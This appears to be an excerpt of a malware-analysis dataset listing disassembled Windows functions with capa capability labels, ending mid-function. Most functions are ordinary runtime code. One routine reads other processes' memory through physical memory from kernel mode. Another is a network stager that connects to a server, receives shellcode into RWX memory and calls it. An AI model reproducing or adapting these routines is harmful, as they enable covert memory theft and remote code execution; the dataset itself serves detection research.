joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400011d0
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx], 0x69b5b66
mov rbx, rcx
jne 0x140001294
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001294
and qword [r11 + 8], 0
lea rdx, [r11 + 8]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001294
mov rdi, qword [0x140004050]
test rdi, rdi
je 0x140001294
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rbx + 8]
mov rcx, rdi
mov rsi, qword [rbx + 0x18]
call fcn.140001b48
test rax, rax
je 0x140001294
mov ecx, eax
mov edx, 0x1000
and ecx, 0xfff
sub edx, ecx
mov rcx, qword [rbx + 0x10]
cmp edx, esi
cmovl esi, edx
and qword [rsp + 0x48], 0
cmp byte [rbx + 0x20], 0
movsxd r8, esi
je 0x140001277
mov rdx, rcx
lea r9, [rsp + 0x48]
mov rcx, rax
call fcn.140001d24
jmp 0x140001290
lea rdx, [rsp + 0x48]
mov r9d, 1
mov qword [rsp + 0x20], rdx
mov rdx, rax
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x140001299
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140001348
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x140004058], 0
mov r13, rcx
jne 0x140001376
call fcn.140001650
cmp qword [0x140004080], 0
jne 0x1400013ab
call fcn.1400012ac
mov rcx, rax
lea r8, [0x1400021c0]
lea rdx, [0x1400021f0]
call fcn.1400019e0
movsxd rcx, dword [rax + 8]
mov rax, qword [rcx + rax + 0xc]
mov qword [0x140004080], rax
call qword [sym.imp.ntoskrnl.exe_MmGetPhysicalMemoryRanges]
mov rdx, qword [0x140004078]
xor r15d, r15d
mov rcx, qword [0x140004070]
lea rsi, [rax + 8]
lea r12, [rcx + rdx*8]
mov rbx, qword [rsi - 8]
test rbx, rbx
jne 0x1400013dc
cmp qword [rsi], rbx
je 0x14000148a
mov rbp, qword [rsi]
sar rbp, 0xc
sar rbx, 0xc
add rbp, rbx
cmp rbx, rbp
jge 0x14000146b
lea rdi, [rbx + rbx*2]
shl rdi, 4
mov rax, qword [0x140004080]
mov r14, qword [rdi + rax]
cmp r14, 2
jb 0x140001451
cmp qword [rdi + rax + 8], r12
jne 0x140001451
movabs rax, 0xffff800000000000
shr r14, 0xd
or r14, rax
lea rdx, [rsp + 0x58]
mov rax, rbx
shl rax, 0xc
mov qword [0x140004050], rax
mov ecx, dword [r13]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x140001451
cmp r14, qword [rsp + 0x58]
je 0x14000145f
inc rbx
add rdi, 0x30
cmp rbx, rbp
jl 0x1400013f7
jmp 0x14000146b
mov rcx, qword [0x140004050]
test rcx, rcx
jne 0x140001481
inc r15d
add rsi, 0x10
cmp r15d, 0xc8
jl 0x1400013ca
jmp 0x14000148a
mov rax, qword [r13 + 8]
mov qword [rax], rcx
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140041f10]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140041f20]
mov dword [rax], 1
mov rax, qword [0x140041f30]
mov dword [rax], 1
mov rax, qword [0x140041e50]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140041f00]
mov dword [0x14004700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140041fe0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140041fc0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140041e30]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x14000f5d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
mov rsi, rcx
mov rbx, rdx
test rdx, rdx
je 0x14000f5ef
mov rcx, rdx
call sym.strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sym.fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp sym.fflush
Function at 0x140021a20
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rax, str.echoBinSafe
lea rdi, [0x14003e9e0]
mov rbx, rcx
mov rsi, rdx
xor edx, edx
mov qword [rsp + 0x38], rax
lea rcx, [0x14003d340]
mov word [rsp + 0x50], dx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], 0
call sym.__emutls_get_address
mov rdx, qword [rax]
mov r14, rax
test rdx, rdx
je 0x140021bc0
movzx eax, word [rdx + 0x22]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x30]
mov qword [r14], rdx
add eax, 1
mov word [rsp + 0x52], ax
cmp ax, 0x7d0
je 0x140021b40
mov qword [rsp + 0x40], 0xad7
lea rcx, [0x140047040]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test rsi, rsi
jle 0x140021b4a
mov rbp, qword [dbg.__acrt_iob_func]
xor r15d, r15d
lea r13, [rsp + 0x20]
lea r12, [0x14003d360]
jmp 0x140021ae5
add r15, 1
add rbx, 0x10
cmp rsi, r15
je 0x140021b58
mov ecx, 1
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], 0xaef
call rbp
movdqu xmm0, xmmword [rbx]
xor r8d, r8d
mov rdx, r13
mov rcx, rax
movups xmmword [rsp + 0x20], xmm0
call sym.writeWindows__system_u9086
mov rcx, r12
call sym.__emutls_get_address
cmp byte [rax], 0
je 0x140021ad8
mov rax, qword [r14]
mov rax, qword [rax]
mov qword [r14], rax
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call sym.callDepthLimitReached__system_u4599
jmp 0x140021a9c
mov rbp, qword [dbg.__acrt_iob_func]
nop dword [rax]
mov qword [rsp + 0x40], 0xaf3
mov ecx, 1
mov qword [rsp + 0x48], rdi
call rbp
mov r8d, 1
mov edx, 1
lea rcx, [0x14003f001]
mov r9, rax
call sym.fwrite
mov ecx, 1
mov qword [rsp + 0x40], 0xaf4
call rbp
mov rcx, rax
call sym.fflush
lea rcx, [0x140047040]
mov qword [rsp + 0x40], 0xaf8
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140021b1e
mov qword [rsp + 0x30], 0
xor eax, eax
mov word [rsp + 0x52], ax
lea rax, [rsp + 0x30]
mov qword [r14], rax
jmp 0x140021a9c

Function at 0x140035a90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140036480
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400364cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400364c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400364cf
add rax, 0x28
cmp rax, r9
jne 0x1400364b0
xor eax, eax
ret

Function at 0x1400364d0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140036560
mov rdx, qword [0x140041e50]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14003654e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14003654e
cmp word [rax + 0x18], 0x20b
jne 0x14003654e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140036560
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140036539
add rbx, 0x28
cmp rbx, rdi
je 0x140036560
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140036530
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140036570
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140041e50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140036590
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140036598
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140036590
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400365ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400365e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140036590
add rax, 0x28
cmp rax, r9
jne 0x1400365d0
xor eax, eax
ret

Function at 0x1400365f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140041e50]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14003660f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140036618
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14003660f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140036630
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140041e50]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140036650
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140036658
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140036650
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400366a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140036697
test rcx, rcx
je 0x140036650
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140036688
xor eax, eax
ret
Function at 0x1400366b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140041e50]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400366cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400366d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400366f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140041e50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140036710
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140036718
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140036710
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140036710
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140036764
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140036770
add rdx, 0x28
cmp rdx, r9
jne 0x140036750
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140036780
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140041e50]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400367a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400367b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400367a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400367a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400367a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140036805
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140036818
add rdx, 0x28
cmp r10, rdx
jne 0x1400367f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140036827
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140036837
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14003680e
test ecx, ecx
jg 0x140036820
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140036980
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x140041e20]
mov r11d, dword [rsi]
mov rbx, rcx
test r11d, r11d
jne 0x1400369b8
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x140036a20
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r12, qword [rcx + 0x10]
test r12, r12
je 0x140036a30
mov esi, dword [0x140047568]
mov r13, qword [sym.imp.KERNEL32.dll_GetLastError]
call r13
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x140036a88
mov rbp, qword [rsi]
cmp rbp, r12
jb 0x140036ad0
sub r12, 1
mov rax, qword [rsi + r12*8 + 8]
test rax, rax
jne 0x1400369a7
mov rcx, rbx
call fcn.1400368e0
mov qword [rsi + r12*8 + 8], rax
jmp 0x1400369a7
call fcn.1400368e0
mov qword [rbx + 0x10], rax
jmp 0x1400369a7
mov r10d, dword [rsi]
test r10d, r10d
je 0x140036b61
mov r9d, dword [0x14003d550]
test r9d, r9d
je 0x140036b89
lea rcx, [0x140047580]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r12, qword [rbx + 0x10]
test r12, r12
je 0x140036b6e
mov eax, dword [rsi]
test eax, eax
je 0x1400369c1
lea rcx, [0x140047580]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1400369c1
lea rcx, [r12 + 0x21]
mov edx, 8
lea rdi, [r12 + 0x20]
call sym.calloc
mov rsi, rax
test rax, rax
je 0x140036bc4
mov qword [rax], rdi
mov ecx, dword [0x140047568]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x1400369fb
call r13
jmp 0x1400369fb
lea rdi, [rbp + rbp]
lea rax, [r12 + 0x20]
mov rcx, rsi
cmp rdi, r12
cmovb rdi, rax
lea rdx, [rdi*8 + 8]
call sym.realloc
mov rsi, rax
test rax, rax
je 0x140036bc4
mov qword [rax], rdi
sub rdi, rbp
lea rcx, [rax + rbp*8 + 8]
xor edx, edx
lea r8, [rdi*8]
call sym.memset
jmp 0x140036aab
lea rcx, [0x140047580]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x140036bbc
lea rdx, [0x140036890]
mov ecx, eax
mov dword [0x140047568], eax
call dbg.__mingwthr_key_dtor
test eax, eax
jne 0x140036bc4
mov dword [0x14003d550], 1
mov edx, dword [rsi]
test edx, edx
jne 0x140036a4c
mov r12, qword [rbx + 0x10]
test r12, r12
jne 0x1400369c1
mov rax, qword [0x140047560]
lea r12, [rax + 1]
mov qword [0x140047560], r12
mov qword [rbx + 0x10], r12
jmp 0x140036a66
lock add dword [0x14003d554], 1
je 0x140036b19
mov r8d, dword [0x14003d550]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, [0x14003d550]
test r8d, r8d
jne 0x140036b57
nop dword [rax]
xor ecx, ecx
call rbp
mov ecx, dword [rdi]
test ecx, ecx
je 0x140036bb0
jmp 0x140036b57
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140036b49
call sym.abort
nop
nop word [rax + rax]
Function at 0x3042913d4
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov word [rbp + 0x13e], 0x202
movzx eax, word [rbp + 0x13e]
lea rdx, [rbp - 0x60]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x304291429
lea rax, str.bad_n
mov rcx, rax
call fcn.304291380
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
nop
add rsp, 0x1c0
pop rbp
ret

Function at 0x30429147d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 0
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
jmp 0x3042914f9
mov eax, dword [rbp + 0x20]
sub eax, dword [rbp - 4]
mov ecx, eax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
cdqe
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x14]
add dword [rbp - 4], eax
cmp dword [rbp - 0x14], 0xffffffff
jne 0x3042914f9
mov rax, qword [rbp + 0x10]
lea rdx, str.no_data
mov rcx, rax
call sym.test.dll_punt
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x20]
jl 0x3042914a9
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret

Function at 0x30429150a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x304291550
mov rax, qword [rbp - 8]
lea rdx, [0x304299013]
mov rcx, rax
call sym.test.dll_punt
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x30429157e
mov rax, qword [rbp - 8]
lea rdx, [0x304299015]
mov rcx, rax
call sym.test.dll_punt
mov rax, qword [rbp - 0x10]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 4]
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov word [rbp - 0x20], 2
mov eax, dword [rbp + 0x18]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x1e], ax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x3042915f1
mov rax, qword [rbp - 8]
lea rdx, [0x304299018]
mov rcx, rax
call sym.test.dll_punt
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret
Function at 0x3042915fb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.304291810
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
call sym.test.dll_winsock_init
lea rax, sym.test.dll_serverp
mov rcx, rax
call sub.msvcrt.dll_atoi
mov edx, eax
lea rax, sym.test.dll_server
mov rcx, rax
call sym.test.dll_wsconnect
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x1c]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 4
jne 0x304291671
mov eax, dword [rbp - 0x1c]
test eax, eax
jne 0x304291684
mov rax, qword [rbp - 0x28]
lea rdx, str.error_lenght_n
mov rcx, rax
call sym.test.dll_punt
mov eax, dword [rbp - 0x1c]
add eax, 5
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x3042916c7
mov rax, qword [rbp - 0x28]
lea rdx, str.error_in_buf_n
mov rcx, rax
call sym.test.dll_punt
mov rax, qword [rbp - 0x10]
mov byte [rax], 0xbf
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 1]
mov eax, dword [rbp - 0x28]
mov dword [rdx], eax
mov eax, dword [rbp - 0x1c]
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 5]
mov rax, qword [rbp - 0x28]
mov r8d, ecx
mov rcx, rax
call sym.test.dll_recv_all
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x304291900
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.304297560
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.304297560
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x304291970
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x30429c064]
mov rbx, rcx
test esi, esi
jle 0x304291aa0
mov rax, qword [0x30429c068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3042919bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x304291a45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3042919a0
mov rcx, rbx
call fcn.3042921d0
mov rdi, rax
test rax, rax
je 0x304291ac2
mov rax, qword [0x30429c068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.304292310
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x30429c068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x304291aa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x304291a3e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x304291a50
add dword [0x30429c064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x30429c068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x304291a3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.304291900
nop dword [rax]
xor esi, esi
jmp 0x3042919c8
mov rax, qword [0x30429c068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.304291900
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.304291900
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x304291e40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x30429c0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x30429c080]
test rbx, rbx
je 0x304291e9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x304291e93
test eax, eax
jne 0x304291e93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x304291e78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x3042921d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3042995d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3042921f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3042921f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3042921f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x30429224d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x304292244
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3042921f0
add rax, 0x28
cmp rax, r9
jne 0x304292230
xor eax, eax
ret

Function at 0x304292250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3042995d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x30429226f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x304292278
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x30429226f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x304292310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3042995d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x30429232f
